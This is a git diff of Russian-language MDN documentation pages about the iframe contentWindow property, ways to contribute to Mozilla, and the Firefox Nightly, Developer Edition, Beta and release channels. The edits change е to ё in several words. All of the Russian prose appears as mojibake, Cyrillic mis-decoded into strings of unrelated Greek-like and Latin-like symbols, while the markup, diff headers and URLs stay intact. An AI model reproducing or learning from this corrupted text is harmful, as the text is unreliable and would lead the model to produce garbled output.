-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{ HTMLElement("iframe") }} содСрТит свойство contentWindow, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ внСшнСго ΠΎΠΊΠ½Π° {{ domxref("Window") }}, содСрТащий Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΊΠ°Π΄Ρ€Π°. Аналогично свойству contentDocument Ρ„Ρ€Π΅ΠΉΠΌΠ° ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{ domxref("Document") }} Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ°.</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{ HTMLElement("iframe") }} содСрТит свойство contentWindow, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ внСшнСго ΠΎΠΊΠ½Π° {{ domxref("Window") }}, содСрТащий Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΊΠ°Π΄Ρ€Π°. Аналогично свойству contentDocument Ρ„Ρ€Π΅ΠΉΠΌΠ° ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{ domxref("Document") }} Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ°.</p>
<p>Окно, содСрТащСС Ρ„Ρ€Π΅ΠΉΠΌ, ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ· свойства {{ domxref("window.parent") }}.</p>
diff --git a/files/ru/mozilla/developer_guide/introduction/index.html b/files/ru/mozilla/developer_guide/introduction/index.html
index 622309fce9..d2964193e5 100644
--- a/files/ru/mozilla/developer_guide/introduction/index.html
+++ b/files/ru/mozilla/developer_guide/introduction/index.html
@@ -16,10 +16,10 @@ original_slug: Introduction_(alternate)
</ul>
<p>Для Π½Π°Ρ‡Π°Π»Π° ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="/ru/Introduction" title="En/Introduction">основным руководством</a> - ΠΏΠΎΡ‡Ρ‚ΠΈ всё написанноС Π² Π½Ρ‘ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈ ΠΊ Π²Ρ‹ΡˆΠ΅ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚Ρ‹ΠΌ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌ, Π² Ρ‚ΠΎΠΌ числС поиск Π±Π°Π³ΠΎΠ², с фикса ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠΆΠ½ΠΎ Π½Π°Ρ‡Π°Ρ‚ΡŒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ описаниС систСмы наставников.</p>
<h2 id="Π’Π΅Π±_сайты">Π’Π΅Π± сайты</h2>
-<p>Mozilla ΠΈΠΌΠ΅Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ 100 Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π²Π΅Π±-ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ инструмСнтов, ΠΏΠΎΡ‡Ρ‚ΠΈ всС ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… - ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ ΠΊΠΎΠ΄ΠΎΠΌ. Π•ΡΡ‚ΡŒ рСсурсы<a class="link-https" href="https://blog.mozilla.com/webdev/get-involved/" title="https://blog.mozilla.com/webdev/get-involved/"> getting started with Mozilla's main web sites</a>, Π° Ρ‚Π°ΠΊΠΆΠ΅ <a class="link-https" href="https://wiki.mozilla.org/Webdev:WhoWorksOnWhat" title="https://wiki.mozilla.org/Webdev:WhoWorksOnWhat">mostly-up-to-date list of web development projects</a> с участиСм Mozilla, ΠΈ ΠΌΡ‹ постоянно стрСмимся Ρ€Π°ΡΡˆΠΈΡ€ΡΡ‚ΡŒ этот список. Π’ этих списках Π’Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ ΠΌΠ½ΠΎΠ³ΠΎ интСрСсных ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΈΡ… Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΡŽ.</p>
+<p>Mozilla ΠΈΠΌΠ΅Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ 100 Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π²Π΅Π±-ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ инструмСнтов, ΠΏΠΎΡ‡Ρ‚ΠΈ всС ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… - ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ ΠΊΠΎΠ΄ΠΎΠΌ. Π•ΡΡ‚ΡŒ рСсурсы<a class="link-https" href="https://blog.mozilla.com/webdev/get-involved/" title="https://blog.mozilla.com/webdev/get-involved/"> getting started with Mozilla's main web sites</a>, Π° Ρ‚Π°ΠΊΠΆΠ΅ <a class="link-https" href="https://wiki.mozilla.org/Webdev:WhoWorksOnWhat" title="https://wiki.mozilla.org/Webdev:WhoWorksOnWhat">mostly-up-to-date list of web development projects</a> с участиСм Mozilla, ΠΈ ΠΌΡ‹ постоянно стрСмимся Ρ€Π°ΡΡˆΠΈΡ€ΡΡ‚ΡŒ этот список. Π’ этих списках Π’Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΌΠ½ΠΎΠ³ΠΎ интСрСсных ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΈΡ… Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΡŽ.</p>
<h2 id="ΠŸΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹_Π½Π°_Π³ΠΈΡ‚Ρ…Π°Π±Π΅">ΠŸΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ Π½Π° Π³ΠΈΡ‚Ρ…Π°Π±Π΅</h2>
-<p><a class="link-https" href="https://github.com/mozilla" title="https://github.com/mozilla">Mozilla github страница</a> содСрТит Π±ΠΎΠ»Π΅Π΅ 100 ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ², Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ участиС. Π­Ρ‚ΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ с использованиСм ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ GitHub ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ для Π½Π°Ρ‡Π°Π»Π° Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π°Π΄ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ лишь Ρ„ΠΎΡ€ΠΊΠ½ΡƒΡ‚ΡŒ Π΅Π³ΠΎ. <span class="short_text" id="result_box" lang="ru"><span class="hps">ΠœΡ‹</span> <span class="hps">с Π½Π΅Ρ‚Π΅Ρ€ΠΏΠ΅Π½ΠΈΠ΅ΠΌ ΠΆΠ΄Π΅ΠΌ</span> <span class="hps">Π’Π°ΡˆΠΈΡ… запросов</span> Π½Π° ΠΌΡ‘Ρ€Π΄ΠΆ<span>!</span></span> Π‘Ρ€Π΅Π΄ΠΈ этих ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² Π΅ΡΡ‚ΡŒ ΠΈ Ρ‚Π°ΠΊΠΈΠ΅ высоко-ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒΠ½Ρ‹Π΅, ΠΊΠ°ΠΊ <a class="link-https" href="https://github.com/mozilla/jetpack" title="https://github.com/mozilla/jetpack">Jetpack</a> ΠΈ <a class="link-https" href="https://github.com/mozilla" title="https://github.com/mozilla">ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅.</a></p>
+<p><a class="link-https" href="https://github.com/mozilla" title="https://github.com/mozilla">Mozilla github страница</a> содСрТит Π±ΠΎΠ»Π΅Π΅ 100 ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ², Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ участиС. Π­Ρ‚ΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ с использованиСм ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ GitHub ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ для Π½Π°Ρ‡Π°Π»Π° Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π°Π΄ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ лишь Ρ„ΠΎΡ€ΠΊΠ½ΡƒΡ‚ΡŒ Π΅Π³ΠΎ. <span class="short_text" id="result_box" lang="ru"><span class="hps">ΠœΡ‹</span> <span class="hps">с Π½Π΅Ρ‚Π΅Ρ€ΠΏΠ΅Π½ΠΈΠ΅ΠΌ ΠΆΠ΄Ρ‘ΠΌ</span> <span class="hps">Π’Π°ΡˆΠΈΡ… запросов</span> Π½Π° ΠΌΡ‘Ρ€Π΄ΠΆ<span>!</span></span> Π‘Ρ€Π΅Π΄ΠΈ этих ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² Π΅ΡΡ‚ΡŒ ΠΈ Ρ‚Π°ΠΊΠΈΠ΅ высоко-ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒΠ½Ρ‹Π΅, ΠΊΠ°ΠΊ <a class="link-https" href="https://github.com/mozilla/jetpack" title="https://github.com/mozilla/jetpack">Jetpack</a> ΠΈ <a class="link-https" href="https://github.com/mozilla" title="https://github.com/mozilla">ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅.</a></p>
<h2 id="Mozilla_Mercurial_Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ">Mozilla Mercurial Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ</h2>
<p>МногиС Mozilla-ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ Π»Π΅ΠΆΠ°Ρ‚ Π² своих собствСнных рСпозиториях Π½Π° <a class="link-https" href="https://hg.mozilla.org/" title="https://hg.mozilla.org/">hg.mozilla.org</a>. Π’Π°ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ<span id="result_box" lang="ru"> <span class="hps">ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΡŽ </span><span class="hps">Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΉΒ </span><span class="hps">ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ²</span><span>, Π° Ρ‚Π°ΠΊΠΆΠ΅</span> <span class="hps">ΠΊΠ°ΠΊΠΈΠ΅ ΠΈΠ· Π½ΠΈΡ…</span> <span class="hps">Π² настоящСС врСмя</span> <span class="hps">поддСрТиваСтся</span> <span class="hps">(подсказка</span> <span class="hps">- Π½Π΅ всС</span> <span class="hps">ΠΈΠ· Π½ΠΈΡ…!)</span></span>. Π’ числС Ρ‚Π°ΠΊΠΈΡ… ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² -<span id="result_box" lang="ru"> <span class="hps">ΠΌΠ½ΠΎΠ³ΠΈΠ΅</span> <span class="hps">основныС</span> сфСры Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ <span class="hps">Mozilla</span></span>, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <a class="link-https" href="https://hg.mozilla.org/automation" title="https://hg.mozilla.org/automation">QA</a>, <a class="link-https" href="https://hg.mozilla.org/build" title="https://hg.mozilla.org/build">RelEng</a>, <a class="link-https" href="https://hg.mozilla.org/l10n" title="https://hg.mozilla.org/l10n">localization</a>, <a class="link-https" href="https://hg.mozilla.org/webtools" title="https://hg.mozilla.org/webtools">webtools</a>, <a class="link-https" href="https://hg.mozilla.org/users/" title="https://hg.mozilla.org/users/">core developers' user repos</a> ΠΈ <a class="link-https" href="https://hg.mozilla.org" title="https://hg.mozilla.org/">Π΄Ρ€ΡƒΠ³ΠΈΠ΅</a>.</p>
<h2 id="Π”Ρ€ΡƒΠ³ΠΈΠ΅_способы_ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ_участиС"><span class="short_text" id="result_box" lang="ru"><span class="hps">Π”Ρ€ΡƒΠ³ΠΈΠ΅ способы</span> <span class="hps">ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ участиС</span></span></h2>
-<p><span id="result_box" lang="ru"><span class="hps">Π•ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ способов</span> <span class="hps">внСсти свой Π²ΠΊΠ»Π°Π΄ Π²</span> сообщСство <span class="hps">Mozilla</span><span>, ΠΏΠΎΠΌΠΈΠΌΠΎ</span> <span class="hps">программирования.</span> <span class="hps">Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅</span> <span class="hps">ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ участиС Π²</span> Π΄ΠΈΠ·Π°ΠΉΠ½Π΅<span class="hps">, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ΅</span><span>, ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π΅,</span> <span class="hps">тСстировании</span> <span class="hps">ΠΈΠ»ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²ΠΈΠ΄Π°Ρ… Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ</span><span class="hps">,</span> <span class="hps">см.</span></span> <a class="link-https" href="https://www.mozilla.org/contribute/areas.html" title="https://www.mozilla.org/contribute/areas.html">страницу Π²ΠΎΠ»ΠΎΠ½Ρ‚Π΅Ρ€ΠΎΠ²</a>.</p>
+<p><span id="result_box" lang="ru"><span class="hps">Π•ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ способов</span> <span class="hps">внСсти свой Π²ΠΊΠ»Π°Π΄ Π²</span> сообщСство <span class="hps">Mozilla</span><span>, ΠΏΠΎΠΌΠΈΠΌΠΎ</span> <span class="hps">программирования.</span> <span class="hps">Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅</span> <span class="hps">ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ участиС Π²</span> Π΄ΠΈΠ·Π°ΠΉΠ½Π΅<span class="hps">, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ΅</span><span>, ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π΅,</span> <span class="hps">тСстировании</span> <span class="hps">ΠΈΠ»ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²ΠΈΠ΄Π°Ρ… Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ</span><span class="hps">,</span> <span class="hps">см.</span></span> <a class="link-https" href="https://www.mozilla.org/contribute/areas.html" title="https://www.mozilla.org/contribute/areas.html">страницу Π²ΠΎΠ»ΠΎΠ½Ρ‚Ρ‘Ρ€ΠΎΠ²</a>.</p>
diff --git a/files/ru/mozilla/firefox/index.html b/files/ru/mozilla/firefox/index.html
index 59c7b007d6..9e4cf629e6 100644
--- a/files/ru/mozilla/firefox/index.html
+++ b/files/ru/mozilla/firefox/index.html
@@ -36,13 +36,13 @@ translation_of: Mozilla/Firefox
<h3 id="Firefox_Nightly">Firefox Nightly</h3>
-<p>ΠšΠ°ΠΆΠ΄ΡƒΡŽ Π½ΠΎΡ‡ΡŒ ΠΌΡ‹ собираСм Firefox ΠΈΠ· самых свСТих исходных ΠΊΠΎΠ΄ΠΎΠ² Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ <a href="/ru/docs/Developer_Guide/mozilla-central">mozilla-central</a>. Π­Ρ‚ΠΈ сборки для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Firefox ΠΈΠ»ΠΈ Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ Ρ…ΠΎΡ‡Π΅Ρ‚ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ самыС послСдниС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ возмоТности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Π΅ находятся Π² процСссС Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ.</p>
+<p>ΠšΠ°ΠΆΠ΄ΡƒΡŽ Π½ΠΎΡ‡ΡŒ ΠΌΡ‹ собираСм Firefox ΠΈΠ· самых свСТих исходных ΠΊΠΎΠ΄ΠΎΠ² Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ <a href="/ru/docs/Developer_Guide/mozilla-central">mozilla-central</a>. Π­Ρ‚ΠΈ сборки для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Firefox ΠΈΠ»ΠΈ Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ Ρ…ΠΎΡ‡Π΅Ρ‚ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ самыС послСдниС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ возмоТности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Ρ‘ находятся Π² процСссС Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ.</p>
<p><a class="external external-icon" href="https://nightly.mozilla.org/" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Π—Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Firefox Nightly</a></p>
<h3 id="Firefox_Developer_Edition_Firefox_Аврора">Firefox Developer Edition (Firefox Аврора)</h3>
-<p>Π­Ρ‚Π° вСрсия ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π° для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ². ΠšΠ°ΠΆΠ΄Ρ‹Π΅ ΡˆΠ΅ΡΡ‚ΡŒ нСдСль, ΠΌΡ‹ Π±Π΅Ρ€Π΅ΠΌ ΠΈΠ· Firefox Nightly всю Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, которая ΡƒΠΆΠ΅ ΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Π½Π° ΠΈ считаСтся Π±ΠΎΠ»Π΅Π΅ ΠΈΠ»ΠΈ ΠΌΠ΅Π½Π΅Π΅ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½ΠΎΠΉ ΠΈ создаСм Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ Firefox Developer Edition. Помимо этого ΠΎΠ½Π° Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ возмоТности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° этом ΠΊΠ°Π½Π°Π»Π΅.</p>
+<p>Π­Ρ‚Π° вСрсия ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π° для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ². ΠšΠ°ΠΆΠ΄Ρ‹Π΅ ΡˆΠ΅ΡΡ‚ΡŒ нСдСль, ΠΌΡ‹ Π±Π΅Ρ€Ρ‘ΠΌ ΠΈΠ· Firefox Nightly всю Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, которая ΡƒΠΆΠ΅ ΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Π½Π° ΠΈ считаСтся Π±ΠΎΠ»Π΅Π΅ ΠΈΠ»ΠΈ ΠΌΠ΅Π½Π΅Π΅ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½ΠΎΠΉ ΠΈ создаём Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ Firefox Developer Edition. Помимо этого ΠΎΠ½Π° Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ возмоТности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° этом ΠΊΠ°Π½Π°Π»Π΅.</p>
<p><a href="/ru/docs/Firefox/Developer_Edition">Π£Π·Π½Π°Ρ‚ΡŒ большС ΠΎ Firefox Developer Edition</a>.</p>
@@ -50,13 +50,13 @@ translation_of: Mozilla/Firefox
<h3 id="Firefox_Π‘Π΅Ρ‚Π°">Firefox Π‘Π΅Ρ‚Π°</h3>
-<p>ПослС ΡˆΠ΅ΡΡ‚ΠΈ нСдСль Π² Firefox Developer Edition, ΠΌΡ‹ Π±Π΅Ρ€Π΅ΠΌ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΒ ΠΈ создаСм Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ Firefox Beta. Π‘Π±ΠΎΡ€ΠΊΠ° Firefox Beta ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π° для тСстирования Π½ΠΎΠ²ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ энтузиастами Firefox, которая Π²ΠΎΠΉΠ΄Π΅Ρ‚ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π»ΠΈΠ· Firefox.</p>
+<p>ПослС ΡˆΠ΅ΡΡ‚ΠΈ нСдСль Π² Firefox Developer Edition, ΠΌΡ‹ Π±Π΅Ρ€Ρ‘ΠΌ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΒ ΠΈ создаём Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ Firefox Beta. Π‘Π±ΠΎΡ€ΠΊΠ° Firefox Beta ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π° для тСстирования Π½ΠΎΠ²ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ энтузиастами Firefox, которая Π²ΠΎΠΉΠ΄Ρ‘Ρ‚ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π»ΠΈΠ· Firefox.</p>
<p><a class="external external-icon" href="https://www.mozilla.org/firefox/channel/#beta" style="width: 250px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Π—Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Firefox Π‘Π΅Ρ‚Π°</a></p>
<h3 id="Firefox">Firefox</h3>
-<p>ПослС Π΅Ρ‰Π΅ ΡˆΠ΅ΡΡ‚ΠΈ нСдСль, ΠΌΡ‹ Π΅Ρ‰Π΅ Ρ€Π°Π· ΠΎΡ‚Π±ΠΈΡ€Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π½Π΅ Π±Ρ‹Π»ΠΎ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ ошибок, ΠΈ добавляСм ΠΈΡ… Π² Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ Firefox, послС Ρ‡Π΅Π³ΠΎ всС эти Π½ΠΎΠ²Ρ‹Π΅ возмоТности становятся доступны ΠΌΠΈΠ»Π»ΠΈΠΎΠ½Π°ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.</p>
+<p>ПослС Π΅Ρ‰Ρ‘ ΡˆΠ΅ΡΡ‚ΠΈ нСдСль, ΠΌΡ‹ Π΅Ρ‰Ρ‘ Ρ€Π°Π· ΠΎΡ‚Π±ΠΈΡ€Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π½Π΅ Π±Ρ‹Π»ΠΎ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ ошибок, ΠΈ добавляСм ΠΈΡ… Π² Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ Firefox, послС Ρ‡Π΅Π³ΠΎ всС эти Π½ΠΎΠ²Ρ‹Π΅ возмоТности становятся доступны ΠΌΠΈΠ»Π»ΠΈΠΎΠ½Π°ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.</p>
